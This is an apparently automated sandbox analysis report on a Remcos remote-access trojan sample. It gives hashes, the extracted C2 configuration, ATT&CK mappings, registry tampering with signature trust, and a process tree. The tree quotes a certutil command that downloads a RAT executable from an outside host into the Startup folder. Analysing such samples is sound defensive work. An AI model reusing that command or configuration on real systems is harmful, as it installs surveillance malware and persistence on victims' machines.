remcos | 314fdfcaefefa6be5bd51963eb0271418fae567ea23d0846e4e07d269ae96cbe

General

Target
tmpyqbmoytm.exe
Size 1.1MB
Sample260601-2wp2eaas3n
SHA256 314fdfcaefefa6be5bd51963eb0271418fae567ea23d0846e4e07d269ae96cbe
MD5 4aee99d582940509cded41022af6bb86
SHA1 01ac37b78ffdf87d60d5b31ef73a039526da47ea
SHA512 09012c48258a58cdad903962c0f4104e5b196290f8e8a0bec7cdb4bba4d96a4ec94e7b07192c617aff55d807fef870827fdc0c3b368c10572edd4b629bf1061b
SSDEEP 24576:p/CNBKOsWsN6640tJn5mTBQGktmHa2nMviVD5ucpzdwE:KKOaBfIBQG6Ya2nwifucxdn
TLSH
T16F45BE0273E1D072FFABA2339B29E64156797C254573852F13982A7DBC702B15A3DB23
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

remote%host discovery remcos rat

Malware Config

Extracted

Family

remcos

Version

2.4.5 Pro

Botnet

Remote%Host

C2

www.rmagent.biz:7181

Attributes

audio_folder
MicRecords
audio_path
%AppData%
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
vbs.server.exe
copy_folder
vbs.server
delete_file
true
hide_file
true
hide_keylog_file
false
install_flag
false
install_path
%AppData%
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
keylog_path
%AppData%
mouse_option
false
mutex
Remcos-00GA1C
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
vbs.server
take_screenshot_option
false
take_screenshot_time
5
take_screenshot_title
wikipedia;solitaire;

Signatures

Family: Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Manipulates Digital Signatures 1 TTPs 3 IoCs

Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.1!7\Name = "szOID_ROOT_PROGRAM_AUTO_UPDATE_CA_REVOCATION"	certutil.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.2!7\Name = "szOID_ROOT_PROGRAM_AUTO_UPDATE_END_REVOCATION"	certutil.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.3!7\Name = "szOID_ROOT_PROGRAM_NO_OCSP_FAILOVER_TO_CRL"	certutil.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BluetoothApis.lnk	tmpyqbmoytm.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2128 set thread context of 3416	2128	tmpyqbmoytm.exe	83

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmpyqbmoytm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	certutil.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

pid	Process
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe
2128	tmpyqbmoytm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3416	tmpyqbmoytm.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2128 wrote to memory of 1352	2128	tmpyqbmoytm.exe	80
PID 1352 wrote to memory of 3028	1352	cmd.exe	82
PID 2128 wrote to memory of 3416	2128	tmpyqbmoytm.exe	83
PID 2128 wrote to memory of 3416	2128	tmpyqbmoytm.exe	83

C:\Users\Admin\AppData\Local\Temp\tmpyqbmoytm.exe
"C:\Users\Admin\AppData\Local\Temp\tmpyqbmoytm.exe"
1⤵
- Drops startup file
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2128
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\startup.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1352
- - C:\Windows\SysWOW64\certutil.exe
    certutil.exe -urlcache -split -f "http://al-sharqgroup.com/remcos_agent.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yourfile.exe"
    3⤵
    - Manipulates Digital Signatures
    - System Location Discovery: System Language Discovery
    PID:3028
- C:\Users\Admin\AppData\Local\Temp\tmpyqbmoytm.exe
  "C:\Users\Admin\AppData\Local\Temp\tmpyqbmoytm.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3416

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Subvert Trust Controls

1

T1553

SIP and Trust Provider Hijacking

1

T1553.003

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

startup.bat

Path C:\Users\Admin\AppData\Local\Temp\startup.bat
Size 189B
SHA256 1aa1d3f94403886d377c65cf35624d289107ea78beedaf433d18c83b20c3092f
MD5 139392ca64ff374fa0d7b289c71fb24e
SHA1 a27c528fae02089f727751549bec330f7d2cc679
SHA512 e48ad200ece7146416dbbe6f503352c430144f30592904c919af92ef94a0e4ec8604f61ebc4f58ebee094cea47fd22c4ee0da87f06e1c1bada0827a6a80b376a
TLSH
T115C0C0D2407104ABEB13382111E3868020E9C8C7B300CD0244100F7AC50948890FC103
MD5 SHA1 SHA512 TLSH

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logs.dat

Path C:\Users\Admin\AppData\Roaming\remcos\logs.dat
Size 79B
SHA256 45d55f1f19fa1c9aa6ddcdc924db625c7f1d25f30951a86ad5f3a207074b57f2
MD5 5ad0acda8b1f5f289f9c6927a64d7e36
SHA1 4a27767619762e889eca705a2f007b74bc17258c
SHA512 3eea785a40560b86f6f3071c3cbedcd42cabf9df4053f3ed4840aaa1f1523a156fcdc4d7df44a12b9260f09e31c67a33dea014ef37ad98f2d1719270ca29aaed
TLSH
T10EA012031B444480311505CFE88182452653D0CF804E014559D0240F001096B061504C
MD5 SHA1 SHA512 TLSH

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memory/2128-6-0x00000000024A0000-0x00000000024A1000-memory.dmp

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memory/3416-7-0x0000000000400000-0x0000000000420000-memory.dmp

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memory/3416-14-0x0000000000400000-0x0000000000420000-memory.dmp

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memory/3416-18-0x0000000000400000-0x0000000000420000-memory.dmp

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memory/3416-15-0x0000000000400000-0x0000000000420000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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